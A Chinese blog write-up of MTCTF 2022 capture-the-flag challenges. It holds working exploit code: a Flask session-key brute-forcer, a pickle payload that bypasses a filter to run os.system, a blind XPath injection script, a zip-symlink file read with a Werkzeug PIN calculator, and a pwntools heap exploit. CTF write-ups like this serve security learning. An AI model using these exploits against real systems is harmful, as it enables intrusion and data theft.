MTCTF2022 WP

MTCTF-easypiclke复现 MTCTFweb复现 阅读详情

Web

easypickle

源码

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

可以看到这里有两个路由,admin路由里存在pickle反序列化点,但是需要session为admin,而user的默认是随机的,尝试伪造,因为这里的key只有两位字节,所以可以很轻松的爆破出来

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in dic:
        for j in dic:
            for k in dic:
                for l in dic:
                    key = i + j + k + l
                    res = FSCM.decode('eyJ1c2VyIjoibWluaWEifQ.YyVC1Q.0n_AlHIhNv_kEOviz_3jfYhCGp0', key)
                    # print(res)
                    if 'user' in str(res):
                        print(key)
                        exit()

之后就是反序列化bypass了,关注这下面几行代码

try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"

这里把R i b o这些执行命令以及变量覆盖的操作指令都给禁用了,基本无法绕过,但是继续回头看一下这个waf检查的逻辑

  • 先用a变量存储opcode,并替换涉及到R i b o的关键词
  • 再用替换后的opcode去判断waf
  • 最后执行的opcode为未修改(未替换的值)

所以这里就有一个方法,就是让payload替换之后能绕过waf,替换之前能够执行命令

这里我选择的是os这个替换,即os->Os

因为o s操作码的执行都是不需要接换行的,所以可以连在一起用,单独用o可以执行命令,但是连上s为了保证这个s不报错,就要根据s操作码的作用特地构造一下

参照文档:(https://xz.aliyun.com/t/7436, https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)

img这里执行完o后返回的是一个命令执行的结果对象并压入栈中

img这里看例子是取栈上三个对象,第一个对象为字典,二三对象分别为键和值,因为我们要在o压入对象之后紧接着执行s,所以这里的命令执行就作为值传入字典中

这里我拿我自己的payload来讲解一下

payload = b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
    0: (    MARK
    1: S        STRING     'key1'
    9: S        STRING     'val1'
   17: d        DICT       (MARK at 0)
   18: S    STRING     'vul'
   25: (    MARK
   26: c        GLOBAL     'os system'
   37: V        UNICODE    'calc'
   43: o        OBJ        (MARK at 25)
   44: s    SETITEM
   45: .    STOP

/ 首先生成一个字典{‘key1’:‘val1’},然后压入一个字符串’vul’,接着使用o执行一个命令,并将结果对象压入栈中

此时栈上存在的有

  • system对象返回结果对象
  • 字符串 “vul”
  • 字典 {‘key1’:‘val1’}

接着s会将栈上的三个对象取出来合并后两个对象到第一个对象里面去,尝试一下

imgimg成功执行命令,并且没有error,接着就是构造payload到远程执行了,这里我选择的反弹shell,因为反弹shell的payload里面存在i这种字符,会被过滤到,所以可以使用pickle0版本的V操作码,传入unicode

imgimgimg接着伪造session传上去就行

imgimg

babyjava

简单的xpath注入,这里直接给出exp

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 14:00
# @Author : pysnow
import string

import requests

url = 'http://eci-2ze1m6bqazd6qr453ll7.cloudeci1.ichunqiu.com:8888/hello'
dic = 'flagbcdef-_{}0123456789'
ses = requests.session()
result = ''
# data = {"xpath": "admin' or substring(name(/root/user), " + str(i) + ", 1)='" + j}
# root user username
# /root/user/
for i in range(29, 50):
    print(i)
    for j in dic:
        data = {"xpath": "admin' or substring((/root/user/*[2]), " + str(i) + ", 1)='" + j}
        res = ses.post(url=url, data=data)
        if 'available' not in res.text:
            result += j
            print(result)
            break

OnlineUnzip

源码

import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888, debug=True)

/ 这里是个解压文件的作用,主要代码为unzip -o {filepath} -d {extractdir}

/ 可以使用软链接的方式任意下载文件,再加上这里开启了debug,可以直接算出PIN码

这里给出我之前写的一篇flask算PIN文章https://pysnow.cn/archives/170/

img

这里要使用zip的-y参数,直接压缩链接文件,而不是压缩链接所指向的文件内容,压缩之后上传直接可以看到我们所需要的文件

imgimgimg

img以下为算PIN的脚本

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 16:06
# @Author : pysnow
import hashlib
from itertools import chain

probably_public_bits = [
    'ctf'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '95530129720',  # /sys/class/net/eth0/address 十进制
    '96cec10d3d9307792745ec3b85c89620213f6e7c373035a2133896e82496fa496635a3548d9b9039acaa25fbea21b586'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

算出PIN为801-338-042

img拿到flag


以下为队友的wp

re

small

对着汇编硬逆,动态调试

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 11:06
# @Author : s0rry

#include <stdio.h>
#include <stdint.h>

// 逆向结果如下
void tea(int* flag){
    int delta = 0x67452301;
    int sum = 0;
    for(int i=0;i<35;i++){
        sum+=delta;
        flag[0] += ((flag[1]<<4)+1)^((flag[1]>>5)+0x23)^(flag[1]+sum);
        flag[1] += ((flag[0]<<4)+0x45)^((flag[0]>>5)+0x67)^(flag[0]+sum);
    }
}


void retea(uint32_t * flag){
    uint32_t delta = 0x67452301;
    uint32_t sum = delta*35;
    for(int i=0;i<35;i++){
        flag[1] -= ((flag[0]<<4)+0x45)^((flag[0]>>5)+0x67)^(flag[0]+sum);
        flag[0] -= ((flag[1]<<4)+1)^((flag[1]>>5)+0x23)^(flag[1]+sum);
        sum-=delta;
    }
}

int main(){
unsigned char res[32] = {
    0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA, 0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D, 
    0xE7, 0x4E, 0xEB, 0x75, 0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88, 0xDC, 0x51
};
    for(int i=0;i<4;i++){
        
        uint32_t tmp[2]={0,};
        tmp[0] = ((uint32_t*)res)[i*2];
        tmp[1] = ((uint32_t*)res)[i*2+1];
        retea(tmp);
        for(int j=0;j<8;j++){
            printf("%c",*((char*)tmp+j));
        }
    }

    return 0;
}

crypto

strange_rsa1

给了gift是p/q

找个大数计算网站,我用的网站

结合n,可以算出p来,p直接省略小数

gift*n(去掉小数位)再开方

img

得出p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077

根据n直接计算出q=

10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369

简单写一下解题脚本

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 13:034
# @Author : s0rry

import gmpy2
import binascii
# import sympy
N=gmpy2.mpz(108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413)
q = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
p = 10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369

c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
e = 0x10001
a = (p-1)*(q-1)
d = gmpy2.invert(e,a)
m = pow(c,d,N)
print(hex(m))

pwn

note

填满tcache,申请段小chunk出来,切割unsorted bin,用于泄露libc

modifty函数可以输入负数,调试发现可以修改栈附近内容,打one_gadget

from pwn import *
from ctypes import *

libc = ELF("./libc-2.31.so")
banary = "./note"
elf = ELF(banary)
ip = '39.106.27.2'
port = 25753

local = 2
if(local==1):
    p = process(banary)
else:
    p = remote(ip, port)
context.log_level = "debug"

def debug():
    gdb.attach(p)
    pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(hex(addr))
pi = lambda : p.interactive()

def build(size,con):
    ru('5. leave')
    sl('1')
    ru('Size:')
    s(str(size))
    ru('Content:')
    sl(con)

def display(index):
    ru('5. leave')
    sl('2')
    ru('Index:')
    sl(str(index))

def modify(index, con):
    ru('5. leave')
    sl('3')
    ru('Index:')
    sl(str(index))
    ru('Content: ')
    sl(con)

def delete(index):
    ru('5. leave')
    sl('4')
    ru('Index:')
    sl(str(index))

for i in range(8):
    build(0x100, 'bbb')

for i in range(7):
    delete(i)

build(0x88, 'a'*0x87)  
delete(7)

build(0x20, '')
display(1)

malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 154
print(hex(malloc_hook))

libc_base = malloc_hook - libc.sym["__malloc_hook"]
#1ecb70  #main_arena+138: 1ecc0a
#print(hex(libc_base))

one_gadget = libc_base + 0xe3afe


modify(-4, p64(0)+p64(0x4017ac)+p64(0)*4+p64(one_gadget))
#debug()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL
gadget: 
0x00000000004017ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

'''
pi()
[MTCTF 2022]easypickle 这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode。因为反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中。接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化。路由下判断是否为admin如果是则先进行关键字替换和if判断,然后pcikle反序列化。 阅读详情

相关推荐

flask中的session伪造问题

flask中的session伪造问题,涉及两道ctf题目,一道主要考察session伪造,另一道session伪造与py反序列化结合考察。

m0_62422842的博客 3552

CTF题型 Python中pickle反序列化进阶利用&amp;例题&amp;opache绕过

Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。学习Python常用的开发软件都在这里了,给大家节省了很多时间。无R,i,o os 可过 + 关键词过滤。

2401_84140023的博客 1205

xilinx 暑期学校项目(二) 通过HLS实现二维傅里叶变换(2Dfft)及图像数据读入读出方法

要进行维纳滤波,首先就是要将图像矩阵通过二维fft变换到频域。 但是hls_fft.h中只有一维fft的函数,因此我们采用对行逐行进行一维fft,再对列逐行进行一维fft来实现二维fft的效果。 文章目录自带的fft例程二维fft的实现数据的读入和读出读入读出维纳滤波操作 自带的fft例程 自带的fft例程中包括有如下四个函数 void dummy_proc_fe( bool direction, config_t* config, cmpxData in[FFT_LENGTH],

战斗果冻的训练中心 2329

CTF题型 Python中pickle反序列化进阶利用&amp;例题&amp;opache绕过(1)

简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**[外链图片转存中…(img-rBXLGkXw-1712465674967)][外链图片转存中…(img-ZUCKXDQq-1712465674968)]

2301_79655576的博客 685

DID实战指南:从平行趋势检验到PSM-DID的Stata全流程解析

本文详细解析了双重差分法(DID)在政策评估中的应用,从平行趋势检验到PSM-DID的Stata全流程操作。通过实例演示和代码示例,帮助研究者掌握DID方法的核心逻辑、前提条件验证及稳健性检验技巧,提升因果推断研究的准确性。

weixin_29234239的博客 742

MATLAB R2022b 安装教程

1. 下载安装先放资源链接,百度网盘太贵了不想续了,换了夸克网盘。1. 下载安装。

qq_51654158的博客 2万+

[VNCTF 2022] easyjava

提示传参随便传个参数后,发现是Tomcat框架的直接读文件 web.xml没啥信息 后来发现有个classes目录 file协议读取文件即可(JDK 9之前,也可以用协议),读取后进行反编译,最开始用的jd-gui,结果有一个地方反编译有点小差错还是用在线工具吧。JAVA反向工程网 (javare.cn)反编译好后先看下的doGet函数 这里的方法就是检测传入的参数值是不是vnctf2022 所以这里如果想得到key就需要name传参vnctf2022,但传参后又会执行if中的语句,if和else中的语句相

Sentiment的博客 2289

第1章:Zephyr 开发环境搭建与 Hello World

📝【摘要】本文是Zephyr RTOS开发入门指南的第一章,详细介绍了从环境搭建到首个应用运行的完整流程。主要内容包括:1️⃣ Zephyr项目结构解析与west工具链部署;2️⃣ 开发环境配置(Linux/WSL)及SDK安装;3️⃣ 两种实践路径——官方HelloWorld样例与自定义应用开发;4️⃣ 实际硬件部署方法(nRF/STM32)及常用west命令速查;5️⃣ 典型问题解决方案。通过qemu_x86模拟器演示了基础打印功能实现,为后续深度开发奠定基础。

hemoparrot的专栏 1361

【Web】记录[MTCTF 2022]easyjava题目复现

nss靶场又寄了,这题环境应该是jdk8,它镜像给了jdk21,卡了我半天,最后还得是自己改Dockerfile,啊哈哈哈,这题端上来怎么都不做啊(GitHub - CTF-Archives/2022-mtgxs-web-easyjava: A web challenge in 2022 美团高校赛。

uuzeray的博客 1457

YOLO26涨点改进 | 全网首发Conv独家改进篇 | CVPR 2025 | YOLO26引入FDConv频率动态卷积改进,含FDC3k2二次创新,小目标检测,能够捕捉更加丰富和复杂的特征信息

本文提出了一种频率动态卷积(FDConv)模块,用于改进YOLO26目标检测模型的性能。FDConv通过在傅里叶域内划分参数预算,构建具有频率多样性的权重,有效提升了模型对低频和高频信息的处理能力。该模块包含内核空间调制(KSM)和频率带调制(FBM)两个关键组件,分别实现空间级和频域级的动态调节。实验表明,FDConv仅增加3.6M参数就能超越其他需要大幅增加参数的方法,并在目标检测、实例分割等任务中表现优异。文章详细介绍了FDConv的原理、实现方法及在YOLO26中的集成方式,提供了完整的代码实现。

Ai缝合怪、助力小伙伴高效发论文 250

【报错】raise pickle.UnpicklingError(_get_wo_message(str(e))) from None_pickle.UnpicklingError: Weigh

File "/opt/conda/envs/py_3.12/lib/python3.12/site-packages/torch/serialization.py", line 1470, in load raise pickle.UnpicklingError(_get_wo_message(str(e))) from None _pickle.UnpicklingError: Weights only load failed.

静谧、淡雅 785

[MoeCTF 2022]——Web方向 wp

海纳百川,有容乃大;壁立千仞,无欲则刚。” 寓意人要像大海能容纳无数江河水一样的胸襟宽广,以容纳和融合来对他人。(我们坤坤都这么努力了,你们为什么还要黑他!!!?小黑子们真虾头!!???黑我家哥哥是吧打开环境后源码如下看见有include函数了,可以想到是文件包含但是这里并不能直接传入file的值等于index.php或者flag.php,所以要利用php伪协议构造payload来读取index.php的内容访问后得到base64编码后的index.php解码base64解码得到源代码。

Leaf_initial的博客 2783

deepstream车道线检测自定义插件化,其中要注意pipeline的配置,如果插件位置配置不对,会报input format should be RGBA when using blur-obje

以上代码中,我们先从对象池中获取一个 DsUserMeta 对象,然后使用 get_lane_line_from_frame 函数获取车道线检测结果,并使用 add_lane_line_meta 函数将其添加到 DsUserMeta 对象中。注意,上述代码中的 get_lane_line_from_frame 函数和 add_lane_line_meta 函数需要你自己实现,用于从视频帧中提取车道线检测结果,并将其添加到 DsUserMeta 中。

pvmsmfchcs的博客 690

2022美团网络安全高校挑战赛(初赛)babyjava(XPath注入)

xpath=user1' and substring(/root/user/username[1]/text(),1,1)='a' and ''=' #测username[1]xpath=user1' and substring(name(/root/*),1,1)='r' and ''=' # 盲注得到结点名为user。xpath=user1' and substring(name(/*),1,1)='r' and ''=' # 盲注得到结点名为root。盲注得出,username[1]为user1。

weixin_63231007的博客 1616

C/C++ LMS算法详解及源码

LMS(Least Mean Squares)算法是一种自适应滤波器算法,用于估计一个系统的参数,以使输出信号与期望信号之间的均方误差最小化。LMS算法通过使用梯度下降的方法,逐步调整自适应滤波器的权值来优化滤波效果。

希望我的博客,能帮上你解决学习中工作中所遇到的问题 3278

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

GitKraken 博客中文翻译(三)

根据 DORA 和其他第三方调查,精英表演团队的周期时间应该少于一天;你可以开始并完成一项变革,并将其推向生产。最终的教训是:在不牺牲代码质量的情况下,你做这些事情的速度越快,你的团队的表现就越好。根据 DORA 和其他第三方调查,精英表演团队的周期时间应该少于一天;你可以开始并完成一项变革,并将其推向生产。最终的教训是:在不牺牲代码质量的情况下,你做这些事情的速度越快,你的团队的表现就越好。最终,对你来说重要的是找到一个对你的团队有意义的基线,并专注于变得更好,而不是更好。

龙哥盟 2676

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

worker thread

最近用worker thread用的比较频繁,找到了一篇讲workthread讲的非常好的blog,请戳这里 ps,那篇blog写的非常好,但是你能想象吗?!这是作者2001写的,15年了 再结合我最近碰到的问题说两句,以下是blog中提到的 Worker threads and the GUI II: Don't touch the GUI That's right. A wor

u012905879的专栏 864

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

【第五届2022美团CTF-WriteUp By EDISEC】

第五届2022美团CTF-WriteUp By EDISEC

qq_45603443的博客 1796

【Python】VSCode 中导入Python 自定义不同目录同名包问题

目录 1. 问题 2. 需求 3. 解决 4. 遗留问题 5. 参考 1. 问题 最近在写Python 代码的过程中,按照Java 大法的习惯,不同的业务写到不同的软件包目录中,然后在IDE 中设置要加载的目录路径,然后在待导入的软件包中引入即可;但是到了Python 中,这种写法我嚓嘞,不行; 找了找资料,然后简单写写; Python 中是怎么解决,多路径下同包名引...

DovSnier 专栏 2515

unzip命令

-l:显示压缩文件内所包含的文件; -t:检查压缩文件是否正确; -o:不必先询问用户,unzip执行后覆盖原有的文件; -n:解压缩时不要覆盖原有的文件; -q:执行时不显示任何信息; -d<目录>:指定文件解压缩后所要存储的目录; 例如 unzip -o /tmp/panel.zip -d /www/server/ > /dev/null ...

让每一行代码都有改变世界的力量 7771

linux zip命令

1. zip -r myfile.zip ./* 将当前目录下的所有文件和文件夹全部压缩成myfile.zip文件,-r表示递归压缩子目录下所有文件. 2.unzip unzip -o -d /home/sunny myfile.zip 把myfile.zip文件解压到 /home/sunny/ -o:不提示的情况下覆盖文件; -d:-d /home/sunny 指明将文件解压缩

lsld007的专栏 3626

java中使用unzip_unzip命令_Linux unzip命令用法示例详解

Linuxunzip命令用法介绍unzip命令用于解压缩由zip命令压缩的“.zip”压缩包。语法unzip(选项)(参数)选项-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换;-f:更新现有的文件;-l:显示压缩文件内所包含的文件;-p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换;-t:检查压缩文件是否正确;-u:与-f参数类似,但是除了更新现有的文件外,也会将压...

weixin_39636717的博客 1276

【文件上传】软链接+zip包上传

漏洞:任意文件上传读取本地文件,包含链接的zip文件 1.在robots.txt中发现了禁止访问的地址,进行地址访问: 2. 来到登录界面,使用burp爆破出密码为:admin admin 3. 查看到需要上传文件,并且有提示: 4.生成软链接,打包上传即可获取flag ...

serendipity1130的博客 1873

-------已搬运--BUUCTF:[SWPU2019]Web3 --- jwt 的secret的获取 --- unzip的软练级攻击

目录:000、知识点1.os.path.dirname2. unzip 和下面这个zip一块的,没必要看,遇到题目的时候现搜就行。3. zipfile一、自己做:2.看一看WP二、学到的:三、 学习WP 重点,我感觉是 jwt 的 那块是个点, 有乱码之后要寻找secret,然后可用404来获取jwt的secret, 再是unzip的软连接攻击这个东西,以前没见过的。 学习一下Linux的软连接,然后再来修改修改 000、知识点 1.os.path.dirname python3 获取当前路径及os.pat

Zero_Adam的博客 1674

BUUCTF--[HCTF 2018]Hideandseek

帐号登录后是一个上传ZIP文件 上传一个.ZIP文件后发现他会显示文件的内容 可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,尝试是否可以读取 aliang@aliang:~/Desktop# ln -s /etc/passwd passwd aliang@aliang:~/Desktop# zip -y passwd.zip passwd adding: passwd (stored 0%) 上传后发现可以成功读取到/etc/passwd的...

qq_46263951的博客 509
上一篇: 羊城杯2022
下一篇: 2022第五空间网络安全大赛
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值